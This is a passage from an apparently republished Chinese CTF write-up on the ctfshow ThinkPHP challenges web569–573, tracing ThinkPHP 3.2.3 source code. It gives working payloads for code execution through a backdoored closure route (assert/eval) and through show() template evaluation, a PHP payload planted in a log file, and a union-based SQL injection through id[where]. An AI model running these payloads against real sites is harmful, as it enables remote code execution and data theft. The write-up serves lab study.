当前位置: 首页 > news >正文

WEB入门——thinkphp专题

web569

thinkphp 专项训练-pathinfo的运用
flag在Admin模块的Login控制器的ctfshowLogin方法中

分析:
一个完整的ThinkPHP应用基于模块/控制器/操作设计

http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]

ThinkPHP的应用可以支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:

>php.exe index.php(或其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]

为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {public function index($name){echo "hello ".$name;}
}

1.PATHINFO模式

/index.php/Home/Index/index/name/123/

2.普通模式

/index.php?m=Home&c=Index&f=index&name=123

3.兼容模式

/index.php?s=Home/Index/index/name/123

其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
4.REWRITE模式

/Home/Index/index/name/123/

所以我们要访问Admin模块的Login控制器的ctfshowLogin方法
Pathinfo模式:

/index.php/Admin/Login/ctfshowLogin

普通模式:

/index.php?m=Admin&c=Login&a=ctfshowLogin

兼容模式:

/index.php?s=Admin/Login/ctfshowLogin

web570

黑客建立了闭包路由后门,你能找到吗
WEB入门——thinkphp专题.png
查看:

<?php
return array(//'配置项'=>'配置值''DB_TYPE'               =>  'mysql',     // 数据库类型'DB_HOST'               =>  '127.0.0.1', // 服务器地址'DB_NAME'               =>  'ctfshow',          // 数据库名'DB_USER'               =>  'root',      // 用户名'DB_PWD'                =>  'ctfshow',          // 密码'DB_PORT'               =>  '3306',        // 端口'URL_ROUTER_ON'   => true, 'URL_ROUTE_RULES' => array('ctfshow/:f/:a' =>function($f,$a){call_user_func($f, $a);})
);

因为输入 / 很困难,所以我们直接执行system(‘ls /’)不太可能
GET:

/index.php/ctfshow/assert/eval($_POST[1])/

POST:

1=system('cat /f*');

web571

黑客建立了控制器后门,你能找到吗
考点:show方法导致的命令执行
Application\Home\Controller\IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {public function index($n=''){$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');}
}

跟进show

    /*** 输出内容文本可以包括Html 并支持内容解析* @access protected* @param string $content 输出内容* @param string $charset 模板输出字符集* @param string $contentType 输出类型* @param string $prefix 模板缓存前缀* @return mixed*/protected function show($content,$charset='',$contentType='',$prefix='') {$this->view->display('',$charset,$contentType,$content,$prefix);}

跟进display

    /*** 加载模板和页面输出 可以返回输出内容* @access public* @param string $templateFile 模板文件名* @param string $charset 模板输出字符集* @param string $contentType 输出类型* @param string $content 模板输出内容* @param string $prefix 模板缓存前缀* @return mixed*/public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {G('viewStartTime');// 解析并获取模板内容$content = $this->fetch($templateFile,$content,$prefix);// 输出模板内容$this->render($content,$charset,$contentType);}

跟进fetch

    /*** 解析和获取模板内容 用于输出* @access public* @param string $templateFile 模板文件名* @param string $content 模板输出内容* @param string $prefix 模板缓存前缀* @return string*/public function fetch($templateFile='',$content='',$prefix='') {if(empty($content)) {$templateFile   =   $this->parseTemplate($templateFile);// 模板文件不存在直接返回if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);}else{defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());}// 页面缓存ob_start();ob_implicit_flush(0);if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板$_content   =   $content;// 模板阵列变量分解成为独立变量extract($this->tVar, EXTR_OVERWRITE);// 直接载入PHP模板empty($_content)?include $templateFile:eval('?>'.$_content);}else{// 视图解析标签$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);$_content           =   !empty($content)?:$templateFile;if((!empty($content) && $this->checkContentCache($content,$prefix)) ||  $this->checkCache($templateFile,$prefix)) { // 缓存有效//载入模版缓存文件Storage::load(C('CACHE_PATH').$prefix.md5($_content).C('TMPL_CACHFILE_SUFFIX'),$this->tVar);}else{$tpl = Think::instance('Think\\Template');// 编译并加载模板文件$tpl->fetch($_content,$this->tVar,$prefix);}            }// 获取并清空缓存$content = ob_get_clean();// 内容过滤标签// 系统默认的特殊变量替换$replace =  array('__ROOT__'      =>  __ROOT__,       // 当前网站地址'__APP__'       =>  __APP__,        // 当前应用地址'__MODULE__'    =>  __MODULE__,'__ACTION__'    =>  __ACTION__,     // 当前操作地址'__SELF__'      =>  __SELF__,       // 当前页面地址'__CONTROLLER__'=>  __CONTROLLER__,'__URL__'       =>  __CONTROLLER__,'__PUBLIC__'    =>  __ROOT__.'/Public',// 站点公共目录);// 允许用户自定义模板的字符串替换if(is_array(C('TMPL_PARSE_STRING')) )$replace =  array_merge($replace,C('TMPL_PARSE_STRING'));$content = str_replace(array_keys($replace),array_values($replace),$content);// 输出模板文件return $content;}

关键:可以进行命令执行

empty($_content)?include $templateFile:eval('?>'.$_content);

payload:

?n=<?php system('cat /f*');?>

解释:
如果你没有定义任何模板文件,或者把模板内容存储到数据库中的话,你就需要使用show方法来渲染输出了
show方法的调用格式:

show('渲染内容'[,'字符编码'][,'输出类型'])
//例如:$this->show($content);

指定编码和类型:

$this->show($content, 'utf-8', 'text/xml');

web572

考点:爆破日志
题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以 年_月_日.log 来命名的,可以来爆破文件名:
WEB入门——thinkphp专题-2.png
爆破成功一个返回:
WEB入门——thinkphp专题-3.png
日志里:

/index.php?showctf=<?php phpinfo();?>

payload:

/index.php?showctf=<?php system('cat /f*');?>

web573

考点:ThinkPHP 3.2.3的SQL注入
hello user1,get id =1?
\Application\Home\Controller\IndexController.class.php
假设源码:

class IndexController extends Controller {public function index(){$a=M('xxx');  //表名$id=I('GET.id');$b=$a->find($id);var_dump($b);}
}

传入:

?id=1'

跟进I函数

/*** 获取输入参数 支持过滤和默认值* 使用方法:* <code>* I('id',0); 获取id参数 自动判断get或者post* I('post.name','','htmlspecialchars'); 获取$_POST['name']* I('get.'); 获取$_GET* </code>* @param string $name 变量的名称 支持指定类型* @param mixed $default 不存在的时候默认值* @param mixed $filter 参数过滤方法* @param mixed $datas 要获取的额外数据源* @return mixed*/
function I($name,$default='',$filter=null,$datas=null) {if(strpos($name,'/')){ // 指定修饰符list($name,$type) 	=	explode('/',$name,2);}if(strpos($name,'.')) { // 指定参数来源list($method,$name) =   explode('.',$name,2);}else{ // 默认为自动判断$method =   'param';}switch(strtolower($method)) {case 'get'     :   $input =& $_GET;break;case 'post'    :   $input =& $_POST;break;case 'put'     :   parse_str(file_get_contents('php://input'), $input);break;case 'param'   :switch($_SERVER['REQUEST_METHOD']) {case 'POST':$input  =  $_POST;break;case 'PUT':parse_str(file_get_contents('php://input'), $input);break;default:$input  =  $_GET;}break;case 'path'    :   $input  =   array();if(!empty($_SERVER['PATH_INFO'])){$depr   =   C('URL_PATHINFO_DEPR');$input  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr));            }break;case 'request' :   $input =& $_REQUEST;   break;case 'session' :   $input =& $_SESSION;   break;case 'cookie'  :   $input =& $_COOKIE;    break;case 'server'  :   $input =& $_SERVER;    break;case 'globals' :   $input =& $GLOBALS;    break;case 'data'    :   $input =& $datas;      break;default:return NULL;}if(''==$name) { // 获取全部变量$data       =   $input;$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');if($filters) {if(is_string($filters)){$filters    =   explode(',',$filters);}foreach($filters as $filter){$data   =   array_map_recursive($filter,$data); // 参数过滤}}}elseif(isset($input[$name])) { // 取值操作$data       =   $input[$name];$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');if($filters) {if(is_string($filters)){$filters    =   explode(',',$filters);}elseif(is_int($filters)){$filters    =   array($filters);}foreach($filters as $filter){if(function_exists($filter)) {$data   =   is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤}elseif(0===strpos($filter,'/')){// 支持正则验证if(1 !== preg_match($filter,(string)$data)){return   isset($default) ? $default : NULL;}}else{$data   =   filter_var($data,is_int($filter) ? $filter : filter_id($filter));if(false === $data) {return   isset($default) ? $default : NULL;}}}}if(!empty($type)){switch(strtolower($type)){case 's':   // 字符串$data 	=	(string)$data;break;case 'a':	// 数组$data 	=	(array)$data;break;case 'd':	// 数字$data 	=	(int)$data;break;case 'f':	// 浮点$data 	=	(float)$data;break;case 'b':	// 布尔$data 	=	(boolean)$data;break;}}}else{ // 变量默认值$data       =    isset($default)?$default:NULL;}is_array($data) && array_walk_recursive($data,'think_filter');return $data;
}

参数过滤,调用了think_filter:

is_array($data) && array_walk_recursive($data,'think_filter');

think_filter

function think_filter(&$value){// TODO 其他安全过滤// 过滤查询特殊字符if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){$value .= ' ';}
}

跟进find

    /*** 查询数据* @access public* @param mixed $options 表达式参数* @return mixed*/public function find($options=array()) {if(is_numeric($options) || is_string($options)) {$where[$this->getPk()]  =   $options;$options                =   array();$options['where']       =   $where;}// 根据复合主键查找记录$pk  =  $this->getPk();if (is_array($options) && (count($options) > 0) && is_array($pk)) {// 根据复合主键查询$count = 0;foreach (array_keys($options) as $key) {if (is_int($key)) $count++; } if ($count == count($pk)) {$i = 0;foreach ($pk as $field) {$where[$field] = $options[$i];unset($options[$i++]);}$options['where']  =  $where;} else {return false;}}// 总是查找一条记录$options['limit']   =   1;// 分析表达式$options            =   $this->_parseOptions($options);// 判断查询缓存if(isset($options['cache'])){$cache  =   $options['cache'];$key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));$data   =   S($key,'',$cache);if(false !== $data){$this->data     =   $data;return $data;}}$resultSet          =   $this->db->select($options);if(false === $resultSet) {return false;}if(empty($resultSet)) {// 查询结果为空return null;}if(is_string($resultSet)){return $resultSet;}// 读取数据后的处理$data   =   $this->_read_data($resultSet[0]);$this->_after_find($data,$options);$this->data     =   $data;if(isset($cache)){S($key,$data,$cache);}return $this->data;}

在find函数中:
_parseOptions 对 $options 进行了处理:

        $options            =   $this->_parseOptions($options);

跟进_parseOptions

    /*** 分析表达式* @access protected* @param array $options 表达式参数* @return array*/protected function _parseOptions($options=array()) {if(is_array($options))$options =  array_merge($this->options,$options);if(!isset($options['table'])){// 自动获取表名$options['table']   =   $this->getTableName();$fields             =   $this->fields;}else{// 指定数据表 则重新获取字段列表 但不支持类型检测$fields             =   $this->getDbFields();}// 数据表别名if(!empty($options['alias'])) {$options['table']  .=   ' '.$options['alias'];}// 记录操作的模型名称$options['model']       =   $this->name;// 字段类型验证if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {// 对数组查询条件进行字段类型检查foreach ($options['where'] as $key=>$val){$key            =   trim($key);if(in_array($key,$fields,true)){if(is_scalar($val)) {$this->_parseType($options['where'],$key);}}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){if(!empty($this->options['strict'])){E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');} unset($options['where'][$key]);}}}// 查询过后清空sql表达式组装 避免影响下次查询$this->options  =   array();// 表达式过滤$this->_options_filter($options);return $options;}

是数组,进入if
WEB入门——thinkphp专题-8.png
跟进_parseType
_parseType 对 $options 进行了处理

    /*** 数据类型检测* @access protected* @param mixed $data 数据* @param string $key 字段名* @return void*/protected function _parseType(&$data,$key) {if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){$fieldType = strtolower($this->fields['_type'][$key]);if(false !== strpos($fieldType,'enum')){// 支持ENUM类型优先检测}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {$data[$key]   =  intval($data[$key]);}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){$data[$key]   =  floatval($data[$key]);}elseif(false !== strpos($fieldType,'bool')){$data[$key]   =  (bool)$data[$key];}}}

如果id的类型是int会进入intval函数,会直接去掉其他字符达到过滤的效果
如果id的类型是char会接着往下走
执行完 _parseType 后回到 find 中的 select

        $resultSet          =   $this->db->select($options);

跟进select

    /*** 查找记录* @access public* @param array $options 表达式* @return mixed*/public function select($options=array()) {$this->model  =   $options['model'];$this->parseBind(!empty($options['bind'])?$options['bind']:array());$sql    = $this->buildSelectSql($options);$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;}

跟进buildSelectSql

    /*** 生成查询SQL* @access public* @param array $options 表达式* @return string*/public function buildSelectSql($options=array()) {if(isset($options['page'])) {// 根据页数计算limitlist($page,$listRows)   =   $options['page'];$page    =  $page>0 ? $page : 1;$listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);$offset  =  $listRows*($page-1);$options['limit'] =  $offset.','.$listRows;}$sql  =   $this->parseSql($this->selectSql,$options);return $sql;}

跟进parseSql

    /*** 替换SQL语句中表达式* @access public* @param array $options 表达式* @return string*/public function parseSql($sql,$options=array()){$sql   = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),array($this->parseTable($options['table']),$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),$this->parseField(!empty($options['field'])?$options['field']:'*'),$this->parseJoin(!empty($options['join'])?$options['join']:''),$this->parseWhere(!empty($options['where'])?$options['where']:''),$this->parseGroup(!empty($options['group'])?$options['group']:''),$this->parseHaving(!empty($options['having'])?$options['having']:''),$this->parseOrder(!empty($options['order'])?$options['order']:''),$this->parseLimit(!empty($options['limit'])?$options['limit']:''),$this->parseUnion(!empty($options['union'])?$options['union']:''),$this->parseLock(isset($options['lock'])?$options['lock']:false),$this->parseComment(!empty($options['comment'])?$options['comment']:''),$this->parseForce(!empty($options['force'])?$options['force']:'')),$sql);return $sql;}

我们知道我们的id的值在$options['where']中,跟进parseWhere

    /*** where分析* @access protected* @param mixed $where* @return string*/protected function parseWhere($where) {$whereStr = '';if(is_string($where)) {// 直接使用字符串条件$whereStr = $where;}else{ // 使用数组表达式$operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';if(in_array($operate,array('AND','OR','XOR'))){// 定义逻辑运算规则 例如 OR XOR AND NOT$operate    =   ' '.$operate.' ';unset($where['_logic']);}else{// 默认进行 AND 运算$operate    =   ' AND ';}foreach ($where as $key=>$val){if(is_numeric($key)){$key  = '_complex';}if(0===strpos($key,'_')) {// 解析特殊条件表达式$whereStr   .= $this->parseThinkWhere($key,$val);}else{// 查询字段的安全过滤// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){//     E(L('_EXPRESS_ERROR_').':'.$key);// }// 多条件支持$multi  = is_array($val) &&  isset($val['_multi']);$key    = trim($key);if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段$array =  explode('|',$key);$str   =  array();foreach ($array as $m=>$k){$v =  $multi?$val[$m]:$val;$str[]   = $this->parseWhereItem($this->parseKey($k),$v);}$whereStr .= '( '.implode(' OR ',$str).' )';}elseif(strpos($key,'&')){$array =  explode('&',$key);$str   =  array();foreach ($array as $m=>$k){$v =  $multi?$val[$m]:$val;$str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';}$whereStr .= '( '.implode(' AND ',$str).' )';}else{$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);}}$whereStr .= $operate;}$whereStr = substr($whereStr,0,-strlen($operate));}return empty($whereStr)?'':' WHERE '.$whereStr;}

跟进parseWhereItem

    /*** where子单元分析* @access protected* @param string $key* @param mixed $val* @return array*/protected function parseWhereItem($key,$val) {$whereStr = '';if(is_array($val)) {if(is_string($val[0])) {$exp	=	strtolower($val[0]);if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找if(is_array($val[1])) {$likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';if(in_array($likeLogic,array('AND','OR','XOR'))){$like       =   array();foreach ($val[1] as $item){$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);}$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          }}else{$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);}}elseif('bind' == $exp ){ // 使用表达式$whereStr .= $key.' = :'.$val[1];}elseif('exp' == $exp ){ // 使用表达式$whereStr .= $key.' '.$val[1];}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算if(isset($val[2]) && 'exp'==$val[2]) {$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];}else{if(is_string($val[1])) {$val[1] =  explode(',',$val[1]);}$zone      =   implode(',',$this->parseValue($val[1]));$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';}}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算$data = is_string($val[1])? explode(',',$val[1]):$val[1];$whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);}else{E(L('_EXPRESS_ERROR_').':'.$val[0]);}}else {$count = count($val);$rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) {$count  = $count -1;}else{$rule   = 'AND';}for($i=0;$i<$count;$i++) {$data = is_array($val[$i])?$val[$i][1]:$val[$i];if('exp'==strtolower($val[$i][0])) {$whereStr .= $key.' '.$data.' '.$rule.' ';}else{$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';}}$whereStr = '( '.substr($whereStr,0,-4).' )';}}else {//对字符串类型字段采用模糊匹配$likeFields   =   $this->config['db_like_fields'];if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');}else {$whereStr .= $key.' = '.$this->parseValue($val);}}return $whereStr;}

跟进parseValue

   /*** value分析* @access protected* @param mixed $value* @return string*/protected function parseValue($value) {if(is_string($value)) {$value =  strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){$value =  $this->escapeString($value[1]);}elseif(is_array($value)) {$value =  array_map(array($this, 'parseValue'),$value);}elseif(is_bool($value)){$value =  $value ? '1' : '0';}elseif(is_null($value)){$value =  'null';}return $value;}

看到了具体的转义函数:

$value =  $this->escapeString($value[1]);

跟进escapeString

    /*** SQL指令安全过滤* @access public* @param string $str  SQL字符串* @return string*/public function escapeString($str) {return addslashes($str);}

通过addslashes()函数进行转义
addslashes() 函数会在预定义字符之前添加反斜杠的字符串。
预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL

那么假设我们传入的内容是数组呢 ?id[where]=1'
WEB入门——thinkphp专题-5.png
_parseOptions
如果我们的 $options['where'] 是数组的话会进入 _parseType ,
现在的 $options['where']="1'" 是个字符串,也就不会进入这个if:
WEB入门——thinkphp专题-6.png
WEB入门——thinkphp专题-7.png

WEB入门——thinkphp专题-9.png
最终执行的sql语句是 select * from xxx where 1' limit 1 这样我们的单引号就保留了下来
WEB入门——thinkphp专题-4.png

?id[where]=id=0 union select 1,flag4s,3,4 from flags

实际:

"SELECT * FROM `xxx` WHERE id=0 union select 1,flag4s,3,4 from flags LIMIT 1  "

web574

web575

web576

web577

web578

web579

web580

web581

web582

web583

web584

web585

web586

web587

web588

web589

web590

web591

web592

web593

web594

web595

web596

web597

web598

web599

web600

web601

web602

web603

web604

web605

web606

web607

web608

web609

web610

web611

web612

web613

web614

web615

web616

web617

web618

web619

web620

web621

web622

web623

web624

web625

web626

http://www.rkmt.cn/news/1512683.html

相关文章:

  • i茅台校园自动预约系统:3分钟部署,让你不再错过每一瓶茅台!
  • 靠谱的新疆旅行社 资质核验要点及正规机构推荐 - 速递信息
  • 一站式终极方案:高效解决Windows系统运行库依赖问题
  • DS4Windows终极指南:免费将PS5手柄完美适配PC游戏的完整教程
  • Windows界面革命:用ExplorerPatcher重新定义你的桌面体验
  • 基于i.MX RT106A MCU的智能语音方案:从远场处理到Alexa集成实战
  • DSP56311架构解析:EFCOP协处理器与片上SRAM在实时信号处理中的应用
  • 别再死记硬背了!用‘两轮自行车’模型,5分钟理解汽车转向动力学核心
  • 别再死磕DCGAN了!用PGGAN(ProGAN)从4x4到1024x1024,手把手教你生成高清人脸(附PyTorch代码)
  • 工业级MCU选型与实战:5V架构、功能安全与电机控制应用解析
  • CUDA版本对不上号?别慌,一文搞懂nvcc和nvidia-smi到底在看什么
  • 原神模型导入终极指南:使用GIMI工具轻松创建自定义角色外观
  • 别再只把高斯噪声当干扰了!在PyTorch里用它给模型‘加Buff’的三种实战技巧
  • Activation Steering:零训练实现大模型实时行为调控
  • 告别枯燥打印体:用AI手写工具为你的文字注入温度与个性
  • Locale-Emulator终极指南:轻松解决日文游戏乱码问题
  • 3个关键优势让Bebas Neue成为设计师的秘密武器:为什么这款免费字体能替代商业字体?
  • 右侧悬浮ai插件
  • 告别图片重复烦恼:AntiDupl 2.3.13 终极清理指南
  • 2026防城港市权威认证贵金属回收 TOP5+黄金回收白银回收铂金回收门店地址电话推荐
  • 南大通用GBase 8s数据库逻辑日志磁带备份的三个关键配置
  • AS5040磁旋转步进电机-幽冥大陆(一百37)-东方仙盟
  • 工业控制利器:飞思卡尔56F8145 DSC混合架构深度解析与应用实战
  • 5分钟快速掌握LayerDivider:AI图像分层工具的终极指南
  • OLTP vs OLAP:从“点餐”到“盘点”,两种数据库思维一次讲透
  • 一文读懂3D打印机全维度分类(基于Wohlers 2026全球增材制造报告)
  • 探寻生命真谛:在抉择与思考中书写自我答案
  • i茅台自动预约系统:5分钟快速部署,告别手动抢购的终极指南
  • 2026 福州豪宅装修公司排行 豪宅装修公司怎么选不踩坑 - 信息热点
  • 2026鄂州市权威认证贵金属回收 TOP5+黄金回收白银回收铂金回收门店地址电话推荐